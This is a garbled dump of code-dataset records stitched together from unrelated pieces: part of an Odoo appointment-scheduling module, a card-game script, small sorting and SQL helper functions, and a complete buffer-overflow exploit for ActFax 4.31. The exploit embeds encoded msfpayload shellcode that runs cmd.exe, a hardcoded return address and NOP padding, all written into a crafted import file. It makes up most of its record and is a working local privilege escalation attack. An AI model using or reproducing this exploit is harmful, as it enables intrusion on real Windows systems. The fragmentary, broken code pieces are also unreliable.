tolerance:\n return -1\n if end_dt >= intervals[-1][1] + tolerance:\n return -1\n return recursive_find_index(0, len(intervals) - 1)\n\n if not intervals:\n return False\n\n tolerance = timedelta(minutes=1)\n start_index = find_start_index()\n if start_index != -1:\n for index in range(start_index, len(intervals)):\n if intervals[index][1] >= end_dt - tolerance:\n return True\n if len(intervals) == index + 1 or intervals[index + 1][0] - intervals[index][1] > tolerance:\n return False\n return False\n\n def is_calendar_available(slot, events, employee):\n \"\"\" Returns True if the given slot doesn't collide with given events for the employee\n \"\"\"\n start_dt = slot['UTC'][0]\n end_dt = slot['UTC'][1]\n\n event_in_scope = lambda ev: (\n fields.Date.to_date(ev.start) <= fields.Date.to_date(end_dt)\n and fields.Date.to_date(ev.stop) >= fields.Date.to_date(start_dt)\n )\n\n for ev in events.filtered(event_in_scope):\n if ev.allday:\n # allday events are considered to take the whole day in the related employee's timezone\n event_tz = pytz.timezone(ev.event_tz or employee.user_id.tz or self.env.user.tz or slot['slot'].appointment_type_id.appointment_tz or 'UTC')\n ev_start_dt = datetime.combine(fields.Date.from_string(ev.start_date), time.min)\n ev_stop_dt = datetime.combine(fields.Date.from_string(ev.stop_date), time.max)\n ev_start_dt = event_tz.localize(ev_start_dt).astimezone(pytz.UTC).replace(tzinfo=None)\n ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz.UTC).replace(tzinfo=None)\n if ev_start_dt < end_dt and ev_stop_dt > start_dt:\n return False\n elif fields.Datetime.to_datetime(ev.start) < end_dt and fields.Datetime.to_datetime(ev.stop) > start_dt:\n return False\n return True\n\n workhours = {}\n meetings = {}\n\n # With context will be used in resource.calendar to force the referential user\n # for work interval computing to the user linked to the employee\n available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in (employee or self.employee_ids)]\n random.shuffle(available_employees)\n for slot in slots:\n for emp_pos, emp in enumerate(available_employees):\n if emp_pos not in workhours:\n workhours[emp_pos] = [\n (interval[0].astimezone(pytz.UTC).replace(tzinfo=None),\n interval[1].astimezone(pytz.UTC).replace(tzinfo=None))\n for interval in emp.resource_calendar_id._work_intervals_batch(\n first_day, last_day, resources=emp.resource_id,\n )[emp.resource_id.id]\n ]\n\n if is_work_available(slot['UTC'][0], slot['UTC'][1], workhours[emp_pos]):\n if emp_pos not in meetings:\n # note: no check is made on the attendee's status (accepted/declined/...)\n meetings[emp_pos] = self.env['calendar.event'].search([\n ('partner_ids.user_ids', '=', emp.user_id.id),\n ('start', '<', fields.Datetime.to_string(last_day.replace(hour=23, minute=59, second=59))),\n ('stop', '>', fields.Datetime.to_string(first_day.replace(hour=0, minute=0, second=0)))\n ])\n\n if is_calendar_available(slot, meetings[emp_pos], emp):\n slot['employee_id'] = emp\n break\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(days=self.max_schedule_days))\n\n # Compute available slots (ordered)\n slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee)\n\n # Compute calendar rendering and inject available slots\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n # slots are ordered, so check all unprocessed slots from until > day\n while slots and (slots[0][timezone][0].date() <= day):\n if (slots[0][timezone][0].date() == day) and ('employee_id' in slots[0]):\n today_slots.append({\n 'employee_id': slots[0]['employee_id'].id,\n 'datetime': slots[0][timezone][0].strftime('%Y-%m-%d %H:%M:%S'),\n 'hours': slots[0][timezone][0].strftime('%H:%M')\n })\n slots.pop(0)\n dates[week_index][day_index] = {\n 'day': day,\n 'slots': today_slots,\n 'mute_cls': mute_cls,\n 'weekend_cls': weekend_cls,\n 'today_cls': today_cls\n }\n\n months.append({\n 'month': format_datetime(start, 'MMMM Y', locale=get_lang(self.env).code),\n 'weeks': dates\n })\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = \"calendar.appointment.slot\"\n _description = \"Online Appointment : Time Slot\"\n _rec_name = \"weekday\"\n _order = \"weekday, hour\"\n\n appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([\n ('1', 'Monday'),\n ('2', 'Tuesday'),\n ('3', 'Wednesday'),\n ('4', 'Thursday'),\n ('5', 'Friday'),\n ('6', 'Saturday'),\n ('7', 'Sunday'),\n ], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.00 or slot.hour >= 24.00 for slot in self):\n raise ValidationError(_(\"Please enter a valid hour between 0:00 and 24:00 for your slots.\"))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, \"%s, %02d:%02d\" % (weekdays.get(slot.weekday), int(slot.hour), int(round((slot.hour % 1) * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = \"calendar.appointment.question\"\n _description = \"Online Appointment : Questions\"\n _order = \"sequence\"\n\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete=\"cascade\")\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([\n ('char', 'Single line text'),\n ('text', 'Multi-line text'),\n ('select', 'Dropdown (one answer)'),\n ('radio', 'Radio (one answer)'),\n ('checkbox', 'Checkboxes (multiple answers)')], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = \"calendar.appointment.answer\"\n _description = \"Online Appointment : Answers\"\n\n question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-ids": [ 7, 10, 12, 18, 19 ] }	[ 7, 10, 12, 18, 19 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> f.write( 'User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\tPredefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\tCoverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\tPrinter Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\tEmail Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\tExport Incoming\tExport-Path\tMark as Read\r\n' + buff + '\r\n') f.close() <\|reserved_special_token_1\|> sc = ( '\x89åÛÎÙuôXPYIIIICCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHMYEP5PS0CPMYJEVQHRU4LK62P0LK62DLLK0RR4LK42VH4O87QZ7VFQKOFQ9PNLGL51CLC26L10IQHO4MUQXGJBL00RPWLKPRR0LK72GLUQXPLKG03HK59P44PJ31N00PLKW8R8LK68Q031N3KSWLW9LKVTLKS1HV6QKOFQO0NLIQXOTMUQ9WP8KP2UZTS3CMKHGK3MFDSEZB68LK0XGTEQICE6LKDL0KLK68ULS1YCLKTDLKUQHPLI1TGT6DQK1KU1691J61KOM0QHQOPZLKUBZKMV1MRJEQLMMUOIEPS0S0F0BH6QLKROMWKO9EOKJPNU921FU8Y6MEOMMMKOXUWL5VSLDJMPKKM0RUUUOK775CRR2OCZC0V3KON52C2ME4FN55CHE530AA' ) frontpad = '\x90' * 10 eip = '"\x1b@\x00' backpad = '\x90' * 6000 buff = frontpad + sc + '\x90' * (502 - len(sc)) + eip + backpad f = open('pwnag3.exp', 'w') f.write( 'User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\tPredefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\tCoverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\tPrinter Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\tEmail Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\tExport Incoming\tExport-Path\tMark as Read\r\n' + buff + '\r\n') f.close() <\|reserved_special_token_1\|> #!/usr/bin/python #Title: ActFax 4.31 Local Privilege Escalation Exploit #Author: Craig Freyman (@cd1zz) #Discovered: July 10, 2012 #Vendor Notified: June 12, 2012 #Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html #msfpayload windows/exec CMD=cmd.exe R \| msfencode -e x86/alpha_upper -f c #[] x86/alpha_upper succeeded with size 466 (iteration=1) sc = ( "\x89\xe5\xdb\xce\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a" "\x48\x4d\x59\x45\x50\x35\x50\x53\x30\x43\x50\x4d\x59\x4a" "\x45\x56\x51\x48\x52\x55\x34\x4c\x4b\x36\x32\x50\x30\x4c" "\x4b\x36\x32\x44\x4c\x4c\x4b\x30\x52\x52\x34\x4c\x4b\x34" "\x32\x56\x48\x34\x4f\x38\x37\x51\x5a\x37\x56\x46\x51\x4b" "\x4f\x46\x51\x39\x50\x4e\x4c\x47\x4c\x35\x31\x43\x4c\x43" "\x32\x36\x4c\x31\x30\x49\x51\x48\x4f\x34\x4d\x55\x51\x58" "\x47\x4a\x42\x4c\x30\x30\x52\x50\x57\x4c\x4b\x50\x52\x52" "\x30\x4c\x4b\x37\x32\x47\x4c\x55\x51\x58\x50\x4c\x4b\x47" "\x30\x33\x48\x4b\x35\x39\x50\x34\x34\x50\x4a\x33\x31\x4e" "\x30\x30\x50\x4c\x4b\x57\x38\x52\x38\x4c\x4b\x36\x38\x51" "\x30\x33\x31\x4e\x33\x4b\x53\x57\x4c\x57\x39\x4c\x4b\x56" "\x54\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b\x4f\x46\x51\x4f" "\x30\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x55\x51\x39\x57\x50" "\x38\x4b\x50\x32\x55\x5a\x54\x53\x33\x43\x4d\x4b\x48\x47" "\x4b\x33\x4d\x46\x44\x53\x45\x5a\x42\x36\x38\x4c\x4b\x30" "\x58\x47\x54\x45\x51\x49\x43\x45\x36\x4c\x4b\x44\x4c\x30" "\x4b\x4c\x4b\x36\x38\x55\x4c\x53\x31\x59\x43\x4c\x4b\x54" "\x44\x4c\x4b\x55\x51\x48\x50\x4c\x49\x31\x54\x47\x54\x36" "\x44\x51\x4b\x31\x4b\x55\x31\x36\x39\x31\x4a\x36\x31\x4b" "\x4f\x4d\x30\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x55\x42\x5a" "\x4b\x4d\x56\x31\x4d\x52\x4a\x45\x51\x4c\x4d\x4d\x55\x4f" "\x49\x45\x50\x53\x30\x53\x30\x46\x30\x42\x48\x36\x51\x4c" "\x4b\x52\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4a\x50\x4e" "\x55\x39\x32\x31\x46\x55\x38\x59\x36\x4d\x45\x4f\x4d\x4d" "\x4d\x4b\x4f\x58\x55\x57\x4c\x35\x56\x53\x4c\x44\x4a\x4d" "\x50\x4b\x4b\x4d\x30\x52\x55\x55\x55\x4f\x4b\x37\x37\x35" "\x43\x52\x52\x32\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x4e" "\x35\x32\x43\x32\x4d\x45\x34\x46\x4e\x35\x35\x43\x48\x45" "\x35\x33\x30\x41\x41") frontpad = "\x90" 10 eip = "\x22\x1b\x40\x00" #00401B22 RETN actfax.exe backpad = "\x90" * 6000 buff = frontpad + sc + "\x90" * (502 - len(sc)) + eip + backpad f = open("pwnag3.exp", "w") f.write( "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t" "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t" "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t" "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t" "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t" "Export Incoming\tExport-Path\tMark as Read\x0d\x0a"+buff+"\x0d\x0a") f.close()	flexible	{ "blob_id": "1b7048ef17b3512b9944ce7e197db27f4fd1aed0", "index": 1687, "step-1": "<mask token>\n", "step-2": "<mask token>\nf.write(\n 'User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\tPredefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\tCoverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\tPrinter Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\tEmail Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\tExport Incoming\\tExport-Path\\tMark as Read\\r\\n'\n + buff + '\\r\\n')\nf.close()\n", "step-3": "sc = (\n '\\x89åÛÎÙuôXPYIIIICCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHMYEP5PS0CPMYJEVQHRU4LK62P0LK62DLLK0RR4LK42VH4O87QZ7VFQKOFQ9PNLGL51CLC26L10IQHO4MUQXGJBL00RPWLKPRR0LK72GLUQXPLKG03HK59P44PJ31N00PLKW8R8LK68Q031N3KSWLW9LKVTLKS1HV6QKOFQO0NLIQXOTMUQ9WP8KP2UZTS3CMKHGK3MFDSEZB68LK0XGTEQICE6LKDL0KLK68ULS1YCLKTDLKUQHPLI1TGT6DQK1KU1691J61KOM0QHQOPZLKUBZKMV1MRJEQLMMUOIEPS0S0F0BH6QLKROMWKO9EOKJPNU921FU8Y6MEOMMMKOXUWL5VSLDJMPKKM0RUUUOK775CRR2OCZC0V3KON52C2ME4FN55CHE530AA'\n )\nfrontpad = '\\x90' * 10\neip = '\"\\x1b@\\x00'\nbackpad = '\\x90' * 6000\nbuff = frontpad + sc + '\\x90' * (502 - len(sc)) + eip + backpad\nf = open('pwnag3.exp', 'w')\nf.write(\n 'User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\tPredefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\tCoverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\tPrinter Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\tEmail Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\tExport Incoming\\tExport-Path\\tMark as Read\\r\\n'\n + buff + '\\r\\n')\nf.close()\n", "step-4": "#!/usr/bin/python\r\n#Title: ActFax 4.31 Local Privilege Escalation Exploit\r\n#Author: Craig Freyman (@cd1zz)\r\n#Discovered: July 10, 2012\r\n#Vendor Notified: June 12, 2012\r\n#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html\r\n\r\n#msfpayload windows/exec CMD=cmd.exe R \| msfencode -e x86/alpha_upper -f c\r\n#[] x86/alpha_upper succeeded with size 466 (iteration=1)\r\nsc = (\r\n\"\\x89\\xe5\\xdb\\xce\\xd9\\x75\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49\"\r\n\"\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\"\r\n\"\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\"\r\n\"\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\"\r\n\"\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x5a\"\r\n\"\\x48\\x4d\\x59\\x45\\x50\\x35\\x50\\x53\\x30\\x43\\x50\\x4d\\x59\\x4a\"\r\n\"\\x45\\x56\\x51\\x48\\x52\\x55\\x34\\x4c\\x4b\\x36\\x32\\x50\\x30\\x4c\"\r\n\"\\x4b\\x36\\x32\\x44\\x4c\\x4c\\x4b\\x30\\x52\\x52\\x34\\x4c\\x4b\\x34\"\r\n\"\\x32\\x56\\x48\\x34\\x4f\\x38\\x37\\x51\\x5a\\x37\\x56\\x46\\x51\\x4b\"\r\n\"\\x4f\\x46\\x51\\x39\\x50\\x4e\\x4c\\x47\\x4c\\x35\\x31\\x43\\x4c\\x43\"\r\n\"\\x32\\x36\\x4c\\x31\\x30\\x49\\x51\\x48\\x4f\\x34\\x4d\\x55\\x51\\x58\"\r\n\"\\x47\\x4a\\x42\\x4c\\x30\\x30\\x52\\x50\\x57\\x4c\\x4b\\x50\\x52\\x52\"\r\n\"\\x30\\x4c\\x4b\\x37\\x32\\x47\\x4c\\x55\\x51\\x58\\x50\\x4c\\x4b\\x47\"\r\n\"\\x30\\x33\\x48\\x4b\\x35\\x39\\x50\\x34\\x34\\x50\\x4a\\x33\\x31\\x4e\"\r\n\"\\x30\\x30\\x50\\x4c\\x4b\\x57\\x38\\x52\\x38\\x4c\\x4b\\x36\\x38\\x51\"\r\n\"\\x30\\x33\\x31\\x4e\\x33\\x4b\\x53\\x57\\x4c\\x57\\x39\\x4c\\x4b\\x56\"\r\n\"\\x54\\x4c\\x4b\\x53\\x31\\x48\\x56\\x36\\x51\\x4b\\x4f\\x46\\x51\\x4f\"\r\n\"\\x30\\x4e\\x4c\\x49\\x51\\x58\\x4f\\x54\\x4d\\x55\\x51\\x39\\x57\\x50\"\r\n\"\\x38\\x4b\\x50\\x32\\x55\\x5a\\x54\\x53\\x33\\x43\\x4d\\x4b\\x48\\x47\"\r\n\"\\x4b\\x33\\x4d\\x46\\x44\\x53\\x45\\x5a\\x42\\x36\\x38\\x4c\\x4b\\x30\"\r\n\"\\x58\\x47\\x54\\x45\\x51\\x49\\x43\\x45\\x36\\x4c\\x4b\\x44\\x4c\\x30\"\r\n\"\\x4b\\x4c\\x4b\\x36\\x38\\x55\\x4c\\x53\\x31\\x59\\x43\\x4c\\x4b\\x54\"\r\n\"\\x44\\x4c\\x4b\\x55\\x51\\x48\\x50\\x4c\\x49\\x31\\x54\\x47\\x54\\x36\"\r\n\"\\x44\\x51\\x4b\\x31\\x4b\\x55\\x31\\x36\\x39\\x31\\x4a\\x36\\x31\\x4b\"\r\n\"\\x4f\\x4d\\x30\\x51\\x48\\x51\\x4f\\x50\\x5a\\x4c\\x4b\\x55\\x42\\x5a\"\r\n\"\\x4b\\x4d\\x56\\x31\\x4d\\x52\\x4a\\x45\\x51\\x4c\\x4d\\x4d\\x55\\x4f\"\r\n\"\\x49\\x45\\x50\\x53\\x30\\x53\\x30\\x46\\x30\\x42\\x48\\x36\\x51\\x4c\"\r\n\"\\x4b\\x52\\x4f\\x4d\\x57\\x4b\\x4f\\x39\\x45\\x4f\\x4b\\x4a\\x50\\x4e\"\r\n\"\\x55\\x39\\x32\\x31\\x46\\x55\\x38\\x59\\x36\\x4d\\x45\\x4f\\x4d\\x4d\"\r\n\"\\x4d\\x4b\\x4f\\x58\\x55\\x57\\x4c\\x35\\x56\\x53\\x4c\\x44\\x4a\\x4d\"\r\n\"\\x50\\x4b\\x4b\\x4d\\x30\\x52\\x55\\x55\\x55\\x4f\\x4b\\x37\\x37\\x35\"\r\n\"\\x43\\x52\\x52\\x32\\x4f\\x43\\x5a\\x43\\x30\\x56\\x33\\x4b\\x4f\\x4e\"\r\n\"\\x35\\x32\\x43\\x32\\x4d\\x45\\x34\\x46\\x4e\\x35\\x35\\x43\\x48\\x45\"\r\n\"\\x35\\x33\\x30\\x41\\x41\")\r\n\r\nfrontpad = \"\\x90\" 10 \r\neip = \"\\x22\\x1b\\x40\\x00\"\t#00401B22 RETN actfax.exe\r\nbackpad = \"\\x90\" * 6000\r\nbuff = frontpad + sc + \"\\x90\" * (502 - len(sc)) + eip + backpad\r\n\r\nf = open(\"pwnag3.exp\", \"w\")\r\nf.write(\r\n\"User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\t\"\r\n\"Predefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\t\"\r\n\"Coverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\t\"\r\n\"Printer Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\t\"\r\n\"Email Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\t\"\r\n\"Export Incoming\\tExport-Path\\tMark as Read\\x0d\\x0a\"+buff+\"\\x0d\\x0a\")\r\nf.close()\r\n\r\n\r\n\r\n\r\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def play_43(): n = int(input('Enter n :')) l = [] for i in range(n): l.append(int(input())) for i in range(n - 1): for j in range(i + 1, n): if l[i] < l[j]: continue return 'no' return 'Yes' <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def play_43(): n = int(input('Enter n :')) l = [] for i in range(n): l.append(int(input())) for i in range(n - 1): for j in range(i + 1, n): if l[i] < l[j]: continue return 'no' return 'Yes' play_43() <\|reserved_special_token_1\|> def play_43(): n=int(input('Enter n :')) l=[] for i in range(n): l.append(int(input())) for i in range(n-1): for j in range(i+1,n): if l[i]<l[j]: continue return "no" return "Yes" play_43()	flexible	{ "blob_id": "1605396a6edb31dd6fe9238a0506f8cfeb794d07", "index": 5568, "step-1": "<mask token>\n", "step-2": "def play_43():\n n = int(input('Enter n :'))\n l = []\n for i in range(n):\n l.append(int(input()))\n for i in range(n - 1):\n for j in range(i + 1, n):\n if l[i] < l[j]:\n continue\n return 'no'\n return 'Yes'\n\n\n<mask token>\n", "step-3": "def play_43():\n n = int(input('Enter n :'))\n l = []\n for i in range(n):\n l.append(int(input()))\n for i in range(n - 1):\n for j in range(i + 1, n):\n if l[i] < l[j]:\n continue\n return 'no'\n return 'Yes'\n\n\nplay_43()\n", "step-4": "def play_43():\n\tn=int(input('Enter n :'))\n\tl=[]\n\tfor i in range(n):\n\t\tl.append(int(input()))\n\tfor i in range(n-1):\n\t\tfor j in range(i+1,n):\n\t\t\tif l[i]<l[j]:\n\t\t\t\tcontinue\n\t\t\treturn \"no\"\n\treturn \"Yes\"\nplay_43()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> if __name__ == '__main__': print('New game!') deck = Deck() deck.shuffle() players = deck.deal() auction = Auction(players) auction.bid() tricks = Tricks(auction) tricks.play() <\|reserved_special_token_1\|> from ob import * if __name__ == '__main__': print('New game!') deck = Deck() deck.shuffle() players = deck.deal() auction = Auction(players) auction.bid() tricks = Tricks(auction) tricks.play() <\|reserved_special_token_1\|> from ob import * if __name__ == "__main__": # Game starts print('New game!') # Deal deck = Deck() deck.shuffle() players = deck.deal() # Bid auction = Auction(players) auction.bid() # Play tricks = Tricks(auction) tricks.play()	flexible	{ "blob_id": "06161b1f45e435d0273dd193229ad2ecfd46c625", "index": 9002, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n print('New game!')\n deck = Deck()\n deck.shuffle()\n players = deck.deal()\n auction = Auction(players)\n auction.bid()\n tricks = Tricks(auction)\n tricks.play()\n", "step-3": "from ob import \nif __name__ == '__main__':\n print('New game!')\n deck = Deck()\n deck.shuffle()\n players = deck.deal()\n auction = Auction(players)\n auction.bid()\n tricks = Tricks(auction)\n tricks.play()\n", "step-4": "from ob import \n\nif __name__ == \"__main__\":\n # Game starts\n print('New game!')\n\n # Deal\n deck = Deck()\n deck.shuffle()\n players = deck.deal()\n\n # Bid\n auction = Auction(players)\n auction.bid()\n\n # Play\n tricks = Tricks(auction)\n tricks.play()\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi <\|reserved_special_token_0\|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <\|reserved_special_token_0\|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <\|reserved_special_token_0\|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '\|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '\|' + '\n+' + max * '-' + '+\n' return texte <\|reserved_special_token_0\|> def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() <\|reserved_special_token_0\|> def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def execute(n, dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi 